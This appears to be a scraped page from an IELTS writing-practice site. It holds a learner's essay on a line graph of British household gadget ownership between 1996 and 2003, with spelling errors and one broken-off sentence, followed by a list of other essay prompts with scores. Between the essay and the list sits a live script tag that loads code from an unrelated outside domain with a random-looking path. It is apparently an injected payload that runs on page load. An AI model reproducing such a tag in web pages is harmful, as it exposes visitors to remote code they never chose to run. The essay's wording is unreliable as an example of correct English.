The line graph compares the accessibility of modern gadgets in British households between 1996 and 2003.
Generally, CD players were in the majority of homes in the UK. In the beginning of the period, about 60% of the population had CD players and that index continued to increase steadily reaching over 80% by the end of the period. Meanwhile, other pieces of technology such as home computers and mobile, were possesed only by 30% and 19% respectively. There also was a gradual growth until 1999 when more mobile phones than computers were available in British households.
HOwever, the access to the Internet became available to the public only in 1998. At that time, only 10% of homes had it, which is the smallest percentage in the graph. It rised
Overall, despite Internet access appearing only in 1998, it became almost as popular as other modern gadgets.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Some people think that parents should teach children how to be good member of society. Other, however, believe that school is the place to learn this.Discuss both these views and give your own opinion. 67
- To some people studying the past has little value in the modern world. Why do you think it is important to do so? What will be the effect if children are not taught history?Give reasons for your answer and include any relevant examples from your own knowl 89
- The table below shows the projected costing over the next five years in American dollars for three environmental projects for sustainable forestry The pie chart shows the expected expenditure breakdown allocation for the first year as the projects are set 84
- New technologies have changed the way children spend their free time. Do the advantages of this outweigh the disadvantages? 89
- The diagram shows how salt is removed from sea water to make it drinkable.Summarize the information by selecting and reporting the main features and make comparisons where relevant. 61